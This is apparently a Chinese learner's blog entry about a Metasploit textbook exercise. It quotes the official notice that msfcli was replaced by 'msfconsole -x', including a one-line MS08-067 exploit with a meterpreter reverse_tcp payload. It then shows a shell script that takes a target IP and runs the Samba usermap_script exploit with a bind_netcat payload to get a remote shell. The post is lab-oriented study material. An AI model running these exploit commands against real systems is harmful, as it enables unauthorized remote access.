Day4:shell脚本的尝试

8 篇文章 0 订阅
4 篇文章 0 订阅

Day4:shell脚本的尝试

当我看到书上的魔鬼训练营实践作业时,我把关注点放在了第四个上面,然后就兴致勃勃的去运行msfcli但是竟然没有这个软件?
wtf
什么鬼?没有更新?突然想到:会不会是功能升级了 变成了其他的!于是我就上网查了查,果然…Festinatione facit vastum

溯回传送门


msfcli?不存在的!

书上的原题是这样的:

使用msfcli命令行接口编写一个Shell脚本程序,实现用户只需输入目标Linux靶机的IP地址作为参数,就可以使用usermap_script漏洞渗透攻击模块,获得靶机的远程Shell访问。

可是没有了msfcli我应该怎么办(`゚Д゚´)ゞ ,我总不能自己编写一个吧。不然,多动(bai)脑(du)。
然后我发现,早在2015年7月10日,官方就取消了msfcli,而采用其他方法代替:
官方声明: Msfcli is no longer available in Metasploit

具体如下:

Hi everyone,

This January, we made an announcement about the deprecation of Msfcli, the command line interface version for Metasploit. Today we are ready to say good-bye to it. Instead of Msfcli, we recommend using the -x option in Msfconsole. For example, here’s how you can run MS08-067 in one line:

Hi, 大家好,
这个一月份,我们做了一份关于 Metasploit 的命令行版本接口版本 Msfcli 的声明,今天我们要对它说再见了。
取代 Msfcli,我们推荐你在 Msfconsole 使用 -x 选项。
举个例子,我们如何在一条命令中使用 MS08_067 模块。

./msfconsole -x “use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run”

You can also leverage things like resource scripts or even command alias to do less typing. Here’s an example of how you would write a resource script to automate running MS08_067:

你也可以把它在msfconsole中分步写或者做成脚本形式 (resource scripts) 或者设置别名来简化输入。下面举个例子如何在msfconsole中分步使用 MS08_067 模块。

use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]
run

And then run it:

然后运行:

./msfconsole -r name_of_resource_script.rc

Another way to run a resource script if you’re in msfconsole already:

上面的命令也可以做成源脚本,然后输入以下命令使用

msf > resource name_of_resource_script.rc


第一个shell脚本

解决方法已经有了,那我们就动手开始吧:
我一开始是这么写的,不存在shell的写法很迷:

use multi/samba/usermap_script
set payload cmd/unix/bind_netcat
set RHOST xxx.xxx.xxx.xxx
exploit

这是什么,我自己绝望了。

失败

突然想到,这是shell脚本啊:
于是有了exploit.shell:

root@kali:~# vi exploit.shell

echo “请输入目标IP:”
read ip
msfconsole -x “use exploit/multi/samba/usermap_script;set payload cmd/unix/bind_netcat;set RHOST $ip;exploit”

root@kali:~# chmod +x exploit.shell
root@kali:~# ./exploit.shell

然后

成功

成功

成功

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值